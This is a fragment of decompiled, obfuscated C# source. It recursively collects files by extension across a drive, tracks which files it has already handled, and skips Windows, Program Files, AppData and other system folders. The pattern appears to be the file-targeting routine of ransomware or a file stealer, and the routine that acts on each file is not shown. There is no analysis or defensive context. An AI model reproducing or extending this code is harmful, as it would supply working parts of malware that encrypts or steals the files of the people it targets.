public void method_19(List <string> list_0, string string_7) { try { string[] array = Delegate194.smethod_0(string_7, "*.*"); for (int i = 0; i < array.Length; i++) { string text = array[i]; string object_ = Delegate195.smethod_0(text); string[] array2 = this.string_6; for (int j = 0; j < array2.Length; j++) { string text2 = array2[j]; if (Delegate98.smethod_1(text2, Delegate143.smethod_0(object_)) && !this.method_16(text)) { list_0.Add(text); this.method_17(text); } } } string[] array3 = Delegate196.smethod_0(string_7); for (int k = 0; k < array3.Length; k++) { string string_8 = array3[k]; if (!this.method_6(string_8)) { this.method_19(list_0, string_8); } } } catch (Exception object_2) { Delegate100.smethod_2(Delegate197.smethod_0(object_2)); } }
public bool method_6(string string_7) { Match object_ = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\users\\\\(.+)\\\\appdata\\\\(.+)?$"); Match object_2 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\windows(\\\\$)?(.+)?$"); Match object_3 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\program files(\\\\$)?(.+)?$"); Match object_4 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\users\\\\public\\\\pictures\\\\sample pictures"); Match object_5 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\program files \\(x64\\)(\\\\$)?(.+)?$"); Match object_6 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\\\$(.+)?$"); return(Delegate145.smethod_0(object_) || Delegate145.smethod_0(object_2) || Delegate145.smethod_0(object_3) || Delegate145.smethod_0(object_5) || Delegate145.smethod_0(object_4) || Delegate145.smethod_0(object_6)); }